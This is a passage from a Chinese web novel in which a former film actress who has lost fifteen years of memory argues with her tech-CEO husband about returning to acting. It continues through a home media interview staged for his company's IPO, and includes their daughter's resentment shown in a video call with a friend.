“母职”是她从黄书韵小说里学到的词。发生在她身上的事,让她明白,母职不等于母爱。 应真目光凝起,落在宁君昊身上,“我不可能像四十岁的应真那样爱然然。如果你不能接受这一点,我觉得我们不如暂时……” 宁君昊被她嘴里说出来的冰冷话语,激得额角狂跳。他没法往下听,开口打断她:“你老公我今天忙了一天了,你能不能别再往我心口扎刀子了?” 十几年的夫妻,宁君昊太了解她了。她温柔体贴,心肠软得不得了。 果然,应真看他脸色确实不大好,扶着他坐下:“你是不是胃不舒服?我给你倒点热水吧。” 她知道宁君昊以前有胃溃疡,但这段时间看他饮食正常,也没像以前那样常备胃药,还以为他好了。 应真赶紧将他的西装挂起来。书房里就有即热饮水机,她给他倒了一杯热水。宁君昊看她为自己忙来忙去,心里好受了一些,喝了几口热水,眉眼间的冷然褪去些许。 他继续刚才中断的话题,“你想复出拍戏,我肯定赞同。但是不是现在,然然明年就初三了,正是升学的紧要关头。我之前想法是让她去国外念高中,你不同意,觉得还是成年后去国外上大学更好。既然你要把她留在国内上高中,这两年还是很关键的。如果你去拍戏,女儿学习肯定会耽误。” 宁君昊还是像以前一样,任何事情只要先抛出女儿,应真必定会做出让步。可是她站在那儿,神情并没有太大波动。他想起她刚才说的,再次意识到他再也没法像以前那样用女儿拴住她了,心中一时闷堵得难受,只能绕到公司上:“奇技马上要上市。你都息影十几年了,在这个时候复出拍电影,外面肯定会有很多猜测。今天的热搜已经说明问题了。你说你去见朋友,也没说是去嘉鼎CEO。他随手发两张照片,奇技就多了几万条舆情。如果你真的复出拍戏,肯定会对奇技产生或多或少的影响。你知道的,游戏行业有点特殊。” 应真靠在他书桌旁,一脸淡然地开口:“你可以让你公司的律师拟一个股份和财产协议。我们各自财务独立。你所持有的公司股份是你个人财产,我不参与任何形式的股份分割。这次我跟黄书韵打算做的电影项目,是我自己想做的事,跟奇技没什么关系。” 宁君昊有些恍惚地看着她。虽然律师团队曾经反复提醒过他,他和太太没有签婚前协议,基于上市的规范和稳定性要求,劝他让应真重新签订夫妻财产和股份补充协议。以便未来婚姻状况出现变化,公司实控权不会发生重大变动。 协议律师早已经拟好,就在他的办公室抽屉里。他一直没有拿回来给应真签。一纸协议而已,他也不知道自己在犹豫什么。 现在她却如此轻飘允诺了律师团队一直想让她签定的协议。她表情很认真,宁君昊知道她不是负气之语,她是认真的,他心里反而更难受了,空落落的。他难受得将应真一把扯进怀里,将脸埋在她的颈窝,闻着她身上的气息,他好受了一些,叹息道:“结婚的时候我就说过,你息影是为了我们的小家。我在外面打拼为了谁,还不是为了你和女儿吗?不管奇技发展到什么规模,我的那部分都有你的一半。” 宁君昊步入中年,是个成熟稳重又心硬的男人。偶尔的情绪流露,让应真的心软了一下。 只一瞬,她又恢复了冷静,抬手捧着他的脸,目不转睛地看着他,一双眼睛澄澈之极,语气也很温柔:“我刚说过的。我不是她。在我这,我们才刚结婚一个月。这十几年,给你生儿育女,照顾你和你母亲,让你后没有后顾之忧的是她,不是我。不属于我的功劳,我干嘛往自己身上揽啊。” 宁君昊听不得这种话。他是无神论者,虽然应真跟他说了很多,解释了很多。可是在他这,应真就是失忆了。这个世界只有一个应真。他也只有一个老婆。 “别说了。你们就是同一个人!”他紧紧抱住怀里的女人,脑中闪过靳年发的那两张照片,醋意再次涌上来,“你跟靳年很熟吗?他为什么搂着你拍照?他以前是不是追求过你?” 应真被他三连问搞得哭笑不得,从他怀里挣扎起来,“他哪里搂着我拍照了?人家那是绅士手,只是抬手做了个姿势,挨都没挨到。我今天去找他,是因为黄书韵有个版权在他手里,他死活不肯签字。正好我以前拍孤影江湖的时候跟他有点交情,就去找他了。他人还挺好的,我跟他聊了一会,他就同意签字了。” 说到这,应真又将话题掰回她复出的事,“不管你同不同意,这戏我肯定是要拍了。原小说我就很喜欢,黄书韵改的剧本比小说还要精彩。现在版权到位,资金黄书韵也谈拢了。她一个高中同学做比特币赚了很多钱,一听说她想拍电影,二话不说就打了两千万给她。我自己婚前那些投资现在也值个一千多万。如果不够还有翠苑那套房子。我们算过了,省点花还是够的。” 宁君昊被她说笑了:“我太太出去拍电影,还要动用自己婚前投资和房子,说出去不是丢我的脸吗?你缺多少,到时候我补给你。” 应真连连摆手:“别别别。网友都说了,世界已经被我老公征服。你征服的是你的世界,不是我的。咱俩还是分清楚一点,我这电影公司跟奇技一点关系没有。” 宁君昊没说话。他心里头并不想应真复出拍电影。但他也知道这个时候不能明面上说他不同意。应真现在的脾气,眼里揉不得一点沙子,他得徐徐图之。 * 楼下,宁颐然房间,她只开了桌上小台灯,手边的手机支架上正开着视频通话。 这段时间晚上做作业,妈妈不再会来敲房间,送这送那了。她索性跟晋扬开着视频一起写作业,一边写一边吐槽她妈妈打算复出拍戏的事。 “我妈年轻时候拍戏那么多年,也就一部拿得出手的。现在都四十了,一个家庭主妇拍戏能拍出什么名堂来?我妈就是觉得复出拍戏很容易。你不知道她今天跟我说那话的口气,就好像她已经决定好了,临时通知我。我真的好生气……” 晋扬晚上又是一个人在家,耳机里听到宁颐然语气越来越急促,就知道她有多生气了,赶紧安慰道:“你妈妈已经很好了。我妈经常是出差人已经坐上飞机,才发个短信告诉我她出差了。我爸就更不用说了,他公司在海市,每个月才回来两三次。哎,我都习惯了。那你妈如果出去拍戏,谁来接送你,给你做饭啊?” 他知道宁颐然从小是娇养长大的,她妈妈宝贝她,宝贝得跟自己的眼珠子似的。让她吃外卖吃两三顿可以,天天吃她肯定受不了。 宁颐然愤愤道:“我妈说让我们家那个钟点工保姆给我做早晚饭。她做饭难吃死了!我才不吃呢!” 晋扬咧嘴笑:“那到时候咱俩一起点外卖吃。一三五你来定吃什么,二四六我来定。” 宁颐然撇了撇嘴:“我妈也就是说说,我才不信她舍得离开我呢。小学的时候,有一次我去澳洲游学一周。回来听我爸说,那几天我妈每天想我想得一个人在房间偷偷哭。这次,她那个戏肯定是在北市拍……” 晋扬听她这么说有些羡慕,他妈妈是个律师,说话做事极度理性,在他面前很少有情感流露的时候。 “宁颐然,你妈妈还真挺温柔的。” 宁颐然叹了口气:“小时候,我跟我妈关系是还不错。现在也不知道为什么,看到她都烦。她什么都不懂,还管东管西,唠叨死了。我倒希望我妈像你妈妈那样,多酷啊!” 她知道在培华,有不少像她妈这样有钱有闲的富太太。每天除了做美容,保养身材,就是去奢侈品店买买买。如果还觉得无聊,就投资找点事情干,开花店,开咖啡馆,开画廊。 反正志不在赚钱,主要目的是打发时间。 而她妈妈似乎对这些都不感兴趣,每天就是围着她转。她已经长大了,妈妈还把她当三岁小孩一样宝贝。宁颐然到了这个阶段,只希望妈妈少唠叨少来烦她。 妈妈去拍戏,跟那些闲的没事干的富太太们开花店,开咖馆、开画廊也没什么区别。无非是因为孩子长大了,给自己找点事情来打发时间。 妈妈就是太闲了,才想着复出拍个电影玩玩,又不是像易梦楠妈妈那样把演员当成终生职业。 这么一想,宁颐然就懒得去想太多了。 第23章 第23章“我太太能出镜已经给他…… 因为宁君昊公司安排了媒体来跟拍她一天,应真特意比往常早起了两个小时。 没办法,她对自己现在的样貌很不自信。早起这两个小时,除了给女儿和丈夫准备早餐,剩下时间她用来护肤、化妆和弄头发,努力让自己在镜头里看起来没那么肿。 她才跟宁君昊发完牢骚,说她对女儿有点像后妈,一睁眼还是兢兢业业干着亲妈应该干的事。 没办法,从小到大应真就是个责任心极强的人。又因为是长女,下面有弟弟妹妹,她又习惯于照顾人。 所以,说归说,做归做。她既然成了四十岁的应真,就干好四十岁应该干的事儿。 …… 说到采访,虽然是来跟拍她,但应真知道自己不是重点。宁君昊的公司打算上市,他需要向外界展示他的婚姻状况。 她只需扮演一个尽职的太太,在媒体那展露他们夫妻琴瑟和鸣的一面。 这事看起来容易,但应真有点焦虑,担心自己穿帮。毕竟没有经历这十几年的婚姻,她对母亲和妻子的身份认同还未完全建立起来。 将最后一缕头发弄服帖,应真用二十五岁的挑剔眼光检阅自己。眼角嘴角的细纹无法隐藏,但她至少看上去气色状态很不错,身材也并未走样。 没有二十多岁的青春活力,但是多了四十岁女人的成熟魅力。 今天应真未选择太过高调的服饰,上身穿了件黑色羊绒衫,袖子和领口有些小小的设计感,下半身则穿了一条微喇牛仔裤。首饰她给自己选了一串珍珠项链。不是那种奢华的海水珍珠,而是她多年前跟宁君昊去日本旅游的时候,在当地商场买的一串极细的淡水珍珠项链。小巧精致,起些点缀作用,让她看上去更温柔,更平易近人。 这是应真想要的效果,她不希望自己在镜头里看上去高高在上。一个上市公司CEO的太太应该是什么样,她不知道,但她希望拍出来她在认真生活的一面。 四十岁的应真就是个认真生活的女人。很多事情她仍在亲力亲为,一颗心全扑在女儿身上,家里所有事情都打理得井井有条。 “你把这个戴上。” 宁君昊也穿戴整齐,从外面进来,牵起她的左手,往她指尖套了个东西。 应真感觉手指一阵冰凉,低头一看——是他们结婚时定制的婚戒。 幸好她的手指粗细跟结婚时相比,没有什么变化,那枚铂金素戒戴上去仍然正正好。 宁君昊自己也把婚戒戴上了,他端详着应真戴着婚戒的手,眼里终于流露出一丝满意。他之所以不戴婚戒倒不是因为别的,中间有几年应酬太多,他长胖了,婚戒戴不进去了,便索性摘了。后来瘦下来了,便把婚戒这事给忘了。 而女儿出生后,应真有好几年什么首饰都不戴。不管戴什么,小婴儿都往嘴里塞,别说戴首饰了,她连妆都不化了。 所以,两人结婚定制的婚戒这些年一直锁进保险柜里。 这次媒体来家里采访,宁君晨突然想起这对婚戒。给老婆戴上戒指,才发现她全身上下只有脖子上戴了一串不值钱的玩意,多少有些不满:“我送你的钻石项链呢,还有上次的钻石手表,你为什么不戴?” 应真觉得他好笑:“人家上门来是来拍我平时在家干什么,谁没事在家把钻石挂脖子上,戴手腕上啊?再说,我本身也不是很喜欢戴首饰。” 宁君昊还是觉得太素了,应真无法,只能又找出一副钻石耳钉。结果可能是太长时间没有戴耳环了,右耳耳洞怎么塞都塞不进去。 不仅塞不进去,还把她耳朵弄疼了。应真有些生气,将耳钉甩给他:“你帮我戴!” 她把右侧头发全部拨到左侧,白晳纤细的脖颈上,那薄薄的耳垂看上去有些红。宁君昊找准角度,才把那耳钉塞了进去。 戴上耳环后,他左看右看都觉得很合意,忍不住凑过去要亲。 应真赶紧用手挡住他,“我才化好妆,你可别把我妆弄花了。他们再过一会马上就要来了。” 老婆失忆后,宁君昊时常能感觉她身上那种年轻女人才有充沛的活力,连带他身上那日渐麻木的感官也被唤醒了,他感觉自己都年轻了不少。 对他来说,这个采访不过是上市筹备宣传中一个微不足道的环节而已。应真却很紧张,又从头到脚把自己检查好几遍,然后在他面前转了好几圈,“怎么样?还行吗?” 宁君昊看到她眼里的紧张,不由失笑:“别看了,你就长着一张游戏公司CEO太太的脸。我太太能出镜已经给他们脸了。” 他语气里的傲慢让应真忍不住白了他一眼:“你可真行。” 宁君昊很享受应真的注意力全放在与他相关的事情上。一旦她复出拍戏,她就会全身心投入到角色里,眼里除了角色什么都没有。他不希望回到那种状态。 看着镜子里还在往唇上涂抹唇釉的女人,他随口问道:“黄书韵那个朋友可靠吗?他怎么会突然想到投资电影?” 应真:“应该挺可靠的。是她高中同学,大学去美国上的,跟你一样也是学计算机的。毕业后自己创业,赚了不少钱。后来把公司卖掉,财富自由了,回国后在内蒙买了个农场,当起农场主。黄书韵把项目书发到朋友圈,他一看就直接私信说他要投资,而且直接把款项打给黄书韵了。现在就等他从内蒙回来,签正式合同了。到时候,我跟余姐,还有黄书韵,我们三个人一起会去见见大金主。” 美国上学。计算机行业。回国当农场主。这个范围已经很小了。圈子要打听这个人并不难。 宁君昊没再问下去。虽然……他还是不希望应真最后怀疑他头上。 …… 宁颐然早上起来,早饭就已经摆在餐桌上了。可是等她吃完早餐,妈妈一直没出现。爸爸吃完早餐也上楼了,餐桌上就剩她一个人。 “时间到了。再不出发我要迟到了。”宁颐然换好校服,站在楼梯边,冲楼上喊道。 没过一会爸爸下来了,“等会会有媒体来家里跟拍你妈妈,今天我送你去学校。” 宁颐然知道这次拍摄是跟爸爸公司上市有关,没说什么。司机小李早就等在外头,父女俩一起出门。 都走到门口了,她想起来自己忘记带保温杯,又折返回去拿杯子。昨天放学回来,她把保温杯放在餐桌,今早还在餐桌上,一拎起来她才发现杯子竟然是空的。 宁颐然将空的保温杯塞进书包的边袋里,心里有种说不出的滋味。 以前妈妈会根据季节不同,给她准备不同的冷热饮,红枣桂园茶,姜枣茶,百香果蜂蜜水,红豆薏米水。 这几天,妈妈就像没这回事一样,好几次她带去学校的保温杯都是空的。她知道妈妈从来不会忘记这种事,妈妈就是在跟她生气。 细想一下是从上次妈妈出车祸,把手伤到,她说了句“greentea”开始。从那以后,她跟妈妈发生了大大小小好几次争吵。 宁颐然不觉得自己哪里有错。即便她有错,妈妈也不应该在喝水这种事情上怄气吧。 学校有饮水机,只不过好多同学觉得不干净,宁愿从家里装满水去学校。以前她也这么觉得,所以她不喝学校饮水机里的水。妈妈也不让她喝。 宁颐然觉得妈妈变了,虽然还像以前那样做她该做的事,可是就是觉得哪哪都不对。 她感觉妈妈现在做的一切事情,都像是在空洞地完成某种任务。 今天的书包格外轻,宁颐然心情却堵得难受。她发誓以后绝对不把水杯带回家。就像晋扬那样直接放在学校里。渴了也用不着妈妈给她准备。食堂什么饮料没有?她为什么要因为这种事情难受! * 奇技公关部这次针对老板夫妇的采访,没有选择财经类媒体,而是选择了一家在互联网上很有影响力的时尚生活类媒体《GOlife!》 因为媒体要跟拍应真,宁君昊早上先送女儿,然后去公司办公,下午再回来跟她一起接受采访。 作为公关部总监,陈至励今天带着部门最能干的下属,陪同媒体的人一起前往宁总家。对奇技员工来说,他们比媒体对宁总太太还要好奇。 毕竟国内游戏行业所有老板当中,宁总的帅气绝对是数一数二的。不光长得帅,他在公司也没有任何花边新闻。不像横峰的徐峻,情人遍布公司上下,搞得公司内部乌烟瘴气。 奇技员工都知道宁总太太年轻的时候是名演员,还拿过影后。但是除了几名老员工,没人见过宁总太太。陈至励作为公关部总监,都没见过宁总太太本人。公司上下员工都不免有些好奇。 所以当陈总监说要到宁总家里拍摄,公关部的人都主动报名。最后陈至励点了自己的助理,连同媒体那边一起总共五个人,来到了宁总的家。 应真将餐桌收拾好,把女儿和丈夫早餐用过的碗筷放进洗碗机,听到门铃响。她赶紧去开门。宁君昊公司两名员工和几个拎着机器设备的年轻人正站在门口。 她忙把他们请进来。她提前准备了饮料和饮料,招呼大家先进来吃点东西,熟悉下环境。 偌大的别墅,连个佣人都看不见,只有宁总太太在家,在场所有人顿时放松下来。 他们没想到宁太太一点架子都没有,说话腔调是南方女人的温柔软糯,跟电影里的角色一点都不像。而且资料上写宁太太已经四十岁了,但她一颦一笑,举手投足之间,完全看不出年纪。 GOlife这次派了四个人,两台摄像,一台收音,还有一个负责出镜采访。他们一进屋忙着架设备,布置灯光,一切看上去有条不紊。 应真坐在西厨的岛台那接受采访。不知道是灯光太过强烈,还是别的什么原因。一坐下来,她竟然开始手心冒汗。 如果是二十五的她,现在肯定不会慌。可她现在是四十岁的应真。这十几年从来没有在公众面前露过面,现在出现在镜头里,会不会显得很肿?等会万一回答不出来,卡壳了怎么办? 应真脑中冒出好多想法,GOlife派来采访的记者是个三十多岁的女性,名叫江楠。她戴着一副金边眼镜,看上去很知性,一笑又格外有亲和力。 “应老师,您有多久没有这么正式地接受过采访了?” 应真很开心江楠没有称自己为宁太太,笑着脱口而出:“可能有一百年了吧。太久了。” 这话一出,在场的人都笑了出来。陈至励和助理站在一旁,他们今天过来是确保整个采访按照定好的流程推进。 既然是跟拍,应真也不想太拘谨,她从座位上站起来,“早上给女儿做了早餐,我自己的早餐还没吃,我要给自己做个早餐。” 说到这,她转过头看着正在摄像的小哥,又看了眼其他工作人员,“你们吃早餐了吗?没吃的话,我顺便给你们一起做了。” 江楠在这一行干久了,打过交道的公众人物没有上千也有几百。应真的亲切自然让她印象深刻,忙道:“我们都吃过了。您别忙了。” 应真看两个摄像小哥稳稳当当地站在那儿,也笑道:“看样子确实是吃过了。机器端得很稳。” 陈至励站在客厅一角也憋不住弯了唇角。说实话,看宁总平时在公司冷峻严肃的模样,还以为宁太太也是一本正经的性格呢,没想到性子这么活泼,像个小姑娘似的。他看过资料,宁总和他太太相差四岁。但今天见到宁总太太,陈至励觉得这像是相差十岁。 这要是走在外面,有人告诉他眼前这位就是宁总太太,他肯定不信——就不是很搭。 宁总太太温柔得让人想象不出她老公是那个奇技上上下下都很怕的BOSS。 GOlife今天本来就是来跟拍应真作为游戏公司CEO夫人的生活的,看她起身给自己做饭,摄像机忙跟了上去。 应真早餐很简单,一片全麦面包,一个水煮鸡蛋,半个牛油果,几颗蓝莓,再加黑咖啡。 “鸡蛋早上给他们父女俩做早餐时已经煮好了。其实我切点水果,煮个黑咖啡就行了。我自己的早餐很简单的。” 江楠倚靠在灶台边,看她给自己做早饭,非常熟练地用水果刀剖开牛油果去核切片,看上去的确像是经常做饭的。 应真打开咖啡机给自己做了一杯美式咖啡,又给江楠做了杯拿铁,还拉了个漂亮的大白心。 两个人坐在岛台旁,一个吃早餐,一个喝咖啡。江楠感觉应真跟自己想的一点不一样,“我以为像您这样的豪门太太,家里肯定仆从如云。有专门做饭的阿姨,打扫的阿姨,什么事都不用自己来,张张嘴就行。” 应真笑:“确实请了打扫的阿姨,她每天来干两个小时。不过我和宁君昊都不太喜欢家里有外人在,所以绝大多数事情还是我自己来做。” 江楠想想即便这样,工作量也挺大的,“应老师,您二十岁就拿影后了。在娱乐圈起点那么高,跟宁总结婚后就选择息影,有后悔过吗?” 陈至励眉头皱了起来,这不是提纲里头的问题,他赶紧上前打断。 应真知道他是宁君昊公司的,看他很紧张的样子,冲他点点头,说了句“没事”。 这个问题其实她有思考过的。她觉得自己好像没法替四十岁的应真来回答。这些日子,她越来越感觉人是由经历塑造的。 她只能回到做这个决定时的心境:“我十六岁开始正式当一名演员。拍戏的时候全国各地跑,最初连个助理都没有。有时候在剧组看到别的演员,年纪跟我差不多的,都有家人陪伴,我挺羡慕的。跟宁君昊组建家庭后,除了演员,我又多了妻子和母亲两个角色。我不是那种同时兼顾好很多角色的人,所以我选择进入到家庭的角色当中。我一直把人生当成一种体验,当妻子当妈妈对我来说也是一种全新的体验。所以,没有后悔。” “那能八卦一下吗?您跟宁总是怎么认识的?我看网上说,他是您的粉丝。” 应真笑得眼睛弯了起来:“我们是朋友介绍认识的。他肯定不是我的粉丝。我的电影他只看过孤影江湖一部。” 江楠:“您女儿看您的电影吗?” 应真:“她不看。她对我们那个时代的电影不感兴趣。” 江楠和她面对面坐着,发现她有一种奇怪的魅力,让人很难把目光从她身上挪开,“您去参加女儿班上的家长会,肯定是班上最漂亮的妈妈吧?” “不是。”应真头摇得像拨浪鼓似的,然后问江楠:“你结婚了吗?有孩子吗?” 江楠点头:“女儿刚满两周岁。” 应真一副过来人的表情:“以后你去家长会,就知道了妈妈们有多卷。现在的妈妈,个顶个的漂亮能干。” 江楠想像不出比她还漂亮的妈妈长什么样。 应真吃好早餐,将用过的碗筷放进洗碗机,已经上午十点多了。 “一般早上如果要送女儿的话,回到家吃完早餐也差不多这个点了。然后下午三点又要出门去接女儿。只有这中间几个小时是完完全全属于我的。” 应真带江楠去自己的花园。虽然已经入秋了,但院子里种的花花草草还需要经常浇水,“把这院子里所有植物打理一遍,至少需要两个小时。幸好不是每天都干。” 应真直起腰,指了指院子里那棵枫树,“我很喜欢这棵枫树,每次在厨房做家务刚好能看到这棵枫树,感觉心情都要好很多。” 江楠打量着这位顶级游戏公司CEO的太太,她穿件质地良好的羊绒衫,面容姣好,身姿纤纤,站在那儿,轻盈得不像是个结婚十几年的女人。 作为一个有几年婚龄的女人,江楠知道这一切并没有那么简单。不过这种采访,也不需要太深入,只需要恰到好处地展示需要展示的那一面就好了。 于是,江楠继续问道:“丈夫去公司上班,女儿去学校,这么大的房子就您一个人,您会觉得孤单吗?” 应真拿起扫帚随手将地上的落叶扫在一起,“怎么会觉得孤单?我享受清静还来不及。你是过来人,肯定知道,空无一人的家才是对家庭主妇最大的疗愈。” 应真没有体会过女儿最难带的时候,但是现在的她,还是希望宁君昊周末有空多陪陪女儿。最好女儿课外班,都由他来接送。这样她的时间就能彻底属于她自己了。 江楠女儿正是闹腾的时候,她对应真的话深表赞同。俩人坐在院子里一边聊天一边喝茶,摄像小哥趁这个机会,拍了几组很美的镜头。 别墅门口停了一辆黑色迈巴赫。应真看到宁君昊这个点就回来了,有些意外,“我以为你要到下午才回来呢。” 第24章 第24章“你是不是不行了?”…… 宁君昊一回来,屋里气氛就开始紧张起来。 刚才还坐在院子里跟应真喝茶聊天的江楠立刻站起来了。 宁君昊脸上没什么表情,走过来牵应真的手:“是不是拍得差不多了?” 应真见过他年轻时候的工作状态,那时候他公司的人大多都是Q大的,互相之间关系紧密,更像是学校师兄弟关系的延续。现在他的公司规模大了很多倍,需要管理的员工很多,他的威压感比以前更重了。 他人前这副严肃的模样,让应真忍不住捏了捏他的手:“拍得差不多了。我和江小姐正准备一边吃午饭一边聊呢。” “宁总,您好。我是江楠。”江楠赶紧过来跟宁君昊打招呼,两人在镜头前握了握手。 陈至励趁机跟老板汇报进度:“就差一组学校镜头。应老师说等会她去接孩子的时候,我们跟她一起去。” Golife希望去拍一组应真接孩子的画面。先前沟通的时候,他们还怕宁君昊这边不同意,没想到他爽快答应了。 宁君昊的想法很简单,他就一个女儿,他的游戏事业以后早晚要交到女儿手里。有些事情,让她早点适应也好。况且,女儿是他和应真之间情感的重要纽带,也是这个家庭得以完整的最核心部分。所以,这次拍家庭相关视频,女儿必须出镜。 不过他还是跟媒体说好了,远远给几个镜头就行了,不要拍孩子的正脸。 江楠站在一旁,注视着这对相貌出众的中年夫妇,很难不注意到,他们交握在一起的手,都戴着同款婚戒。 一旁的摄像机如实地记录着。江楠也采访过上市公司老总,极个别结婚十几二十年一直戴着婚戒。一是习惯了,二是婚戒在他们这种级别的大佬那有稳定股价的作用。 宁君昊的公司正在筹备上市,他自然希望向公众展示他很重视家庭的一面。 应真还没跟宁君昊一起接受过采访。她是演员,早已习惯了镜头,现在两台摄像机对着,她看出宁君昊没那么自在,揽着他的胳膊道:“我正准备点个外卖,中午大家一起吃。但陈总监坚持他们自己吃工作餐。我只好还是跟江小姐一起,边吃边聊。你吃过了没有?没吃的话,我们一起吃个午饭。” 宁君昊:“你不用点了。我打电话给樱亭订餐了。等会他们会送过来,我们一起吃午饭。” 说到这,他冲江楠点头道,“江小姐,你等会也跟我们一起用餐吧,如果需要拍摄刚好可以拍。” 他提早回家,也是因为这次采访需要拍一些夫妻同框画面。 江楠自然求之不得,忙应了下来。宁总比原定时间早了两小时到,这意味着他们采访的时间更充裕了。而一起吃午餐,边吃边采访,比正襟危坐面对面对谈要轻松多了,没准能挖出一些她想要的素材。 所有人都进了屋,送餐的车子也到了。因为订的食物太多,送餐店家用露营小拖车装着送进来。整整装了两拖车,陈至励一看这架势,才知道老板这是给他们也订了。 说实话。有点感动。这可能是到老板家办事才有的待遇。他赶紧让助理帮忙一起把食物送进屋。 (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 宁君昊上楼去换衣服,下楼时应真已经把餐桌布置好了。午餐自然不能在岛台上吃,她把那些打包的食物用自家的餐具盛好。 应真是个非常典型的巨蟹座女人,收藏了大量精美的餐饮具。看着这满满当当一桌,赏心悦目她就很开心。 来之前江楠以为就是场普通采访,没想到会被宁总夫妇邀请一起吃午饭。跟当下最炙手可热的游戏公司CEO夫妇一起共进午餐,她作为一名媒体从业人员,还是有些激动的。 宁君昊在,屋里气氛比上午紧张很多。应真主动打话匣子,“这家店是我跟宁君昊谈恋爱时候经常去的一家,在Q大附近。一家小小的家庭居酒屋,食材很新鲜。这么多年一直开在Q大附近。它家的鳗鱼饭和三文鱼茶泡饭不错。江小姐,你都试试,看看哪个味道更好。” 应真并没有把江楠当成采访自己的记者,而是把她当客人招待,熟练地用公筷给她布菜。江楠瞬间有一种如沐春风的感觉。 这是江楠第一次跟这位曾经的影后打交道。她发现应真性格非常温柔,还给人一种很会照顾人的大姐姐的感觉。平时接触的公众人物很多,江楠一眼能看出谁是在镜头前表演,谁是发自内心的真性情。 应真不是只在镜头前才这样,镜头之外还招呼宁君昊两个下属先去吃饭。 江楠吃了口鳗鱼,确实烤得很香,入口即化。她好奇地问应真:“你跟宁先生,现在还经常一起单独出去吃饭吗?” 应真有些嗔怪的语气:“很少。他工作太忙了。一周七天能抽空一两天,陪我跟女儿一起吃晚饭就不错了。” 这的确是她这段日子的切身感受。宁君昊绝大多数精力都被工作占据,花在家庭生活上的少之又少。用现在时髦的说法,这些年她是在丧偶式育儿。当然她不会在镜头前这么直接地说出来。 宁君昊换了件灰色V领羊绒衫,坐在餐桌旁看上去没刚进来时那么严肃了,多了几分居家的散漫。 听应真吐槽自己,他眼里掠过一丝笑意,对江楠道:“这是在抱怨我陪伴的时间太少了。” 他拿起汤勺喝了口味噌汤,骨节分明的手指上那枚婚戒实在太过显眼,让人很难不注意到。他拍了拍应真放在桌上的手,笑道:“等忙完这阵子,年底的时候我陪你和女儿去欧洲旅行。” 应真笑着拒绝:“感谢。不过年底我没空。” 江楠忍不住问她:“应老师,最近网上都在传您打算复出了,是真的吗?” 应真抿唇笑:“现在还不能说,等确定了再告诉你们。” 她那双眼睛亮亮的,带着一丝跃跃欲试的兴奋。江楠看这架势,还有什么不懂,看来是真的打算复出了。 宁君昊坐在一旁没说话,唇角的笑意淡了几分。应真知道在复出拍电影的事情上,宁君昊跟自己并未达成共识。她不想把气氛搞得太僵,便将话题重新绕到食物上来。 “我跟宁君昊刚开始谈恋爱的时候,他公司还在Q大附近,那时候我们把大学城好吃的餐厅吃遍了。” 江楠对他们年轻时的故事很感兴趣,便把上午问应真的问题又拿过来问宁君昊,“宁总,网上说您上大学的时候是应老师的粉丝,是真的吗……” “……我丈夫也是Q大毕业的,我听说当年应真老师的孤影江湖在Q大很火,Q大学生特别喜欢她,不仅为她创办了论坛,还邀请她去Q大参加了见面会。来之前我特意做了功课,在网上查了一下,应老师去Q大参加见面会的时候,您当时还在Q大念书。您是不是那时候就见过应老师?” 这段往事已经是二十多年前的事情。现在网上能搜到的资料也很少。应真惊讶于江楠功课做得深入。 Q大那场见面会,是她职业生涯想起来会忍不住微笑的一段经历。 当年她也才二十出头,一个从小城市出来的女孩,没上过大学,却跟最高学府的大学生们坐在一起聊天、唱歌。而他们好像都挺喜欢她的,这让应真回来开心了好几天。 江楠眼里全是好奇,应真冲她赞许地点点头:“你连这都知道,看来做了不少功课。我确实去Q大参加了见面会,不过那时候宁君昊大学最后一年,在校外创业,很少回学校。我们没见上面……” 宁君昊放下筷子,用纸巾擦了擦嘴,神色淡淡地开口:“其实我太太一直不知道,那次见面会我去了。” ???应真瞪大眼睛看着他,满脸不可置信:“你不是说你没去吗?” 宁君昊有些尴尬:“没好意思告诉你。” 江楠没想到宁君昊和他太太还有这么一段往事,瞬间兴奋起来,“您当时忙着创业,又住在校外,是怎么知道这个见面会的?” 宁君昊:“Q大学生论坛是我做的,我又是好几个版的版主。她那个见面会报名页面还是我做的。我记得我是晚上十点上的页面,一分半钟名额就抢光了。我没想到Q大那么多男生喜欢她。那天觉得自己的竞争对手好多啊。” 说到最后宁君昊自己也笑了。 应真忍不住斜了他一眼,这人就是趁着采访胡说八道。 江楠却感觉自己挖到猛料了,“那您应该是在见面会上对您太太一见钟情了?还记得她那天的样子吗?” 宁君昊:“我记得啊,那天是03年元旦,她穿了一件白色系带大衣,长发披肩。见面会现场几百人,她害羞得一直用手捂着脸。看到她本人,我发现她比我想象的还要可爱。” ???应真听他提起这些往事,越发觉得离谱。如果是真的,那他这人也太藏得住事了。 “我跟他结婚这么多年,还是第一次听到他说这些。如果不是你们今天来采访,可能这辈子他都不会说。” 江楠一脸磕到了的表情,“我猜宁总当时就对应老师一见钟情了。” 宁君昊点头:“那天我就觉得以后的老婆就应该是她那样的。后来徐长庭导演介绍我们认识,她说她不会跟粉丝谈恋爱。我只能假装自己不是她的粉丝。” 应真陷入了回忆:“当天见面会实在人太多了,我真的没有印象见过他。” 江楠忍不住咧嘴笑:“我丈夫是Q大的,他说他当年也去过您的见面会。元旦又赶上期末考试,好多人书都不看了,都挤到礼堂去看您了。” 提到这些往事,宁君昊的醋味就掩不住了,“当天现场几百人,大概有九成是男生。最后自由提问环节,每个男生都在变着法子问她要电话号码。你不知道我当时多嫉妒那些被点到的男生。还好她都没有给,只留了个邮箱地址。然后有好多人关心她喜欢什么样的男生……” 说到这,宁君昊问应真:“你还记得自己说的什么吗?” 应真摇头:“不记得了。” 宁君昊:“你说你喜欢聪明,有智慧,有责任心,努力工作的男生。还说自己不是外貌协会,对外貌要求不高。我当时就觉得自己除了相貌出众了一点,其它都挺符合的……” 应真白眼快翻上天了,“你说够了没有?再说多了,看这个视频的网友都不信了。” 江楠在一旁看他们俩的互动,总觉得不像是结婚很多年的中年夫妇,但又让人莫名觉得很般配。 她忍不住鼓足勇气问出她最想问的问题:“应老师,您和宁总结婚这么多年,感情还这么好,有没有什么婚姻保鲜秘诀?” 这个问题应真觉得自己真的没资格回答,幸好一旁宁君昊接过话头:“就是感恩吧。感恩彼此的付出。应真对这个家的付出比我多得多。如果不是她,我不可能拥有这么完美幸福的家庭生活。” 应真安静地听着,自始至终维持微笑。 采访告一段路,江楠看他们夫妇吃完了,起身提醒,“宁总,应老师,我们摄像小哥想再拍几组你们夫妇同框镜头。” 这些同框镜头事先设计好了,一起在花园里劳动,应真修剪花枝,宁君昊浇水。然后一起运动的画面。还有夫妇俩去学校门口接孩子的同框画面。 应真这一天对着镜头,脸都快笑僵了。 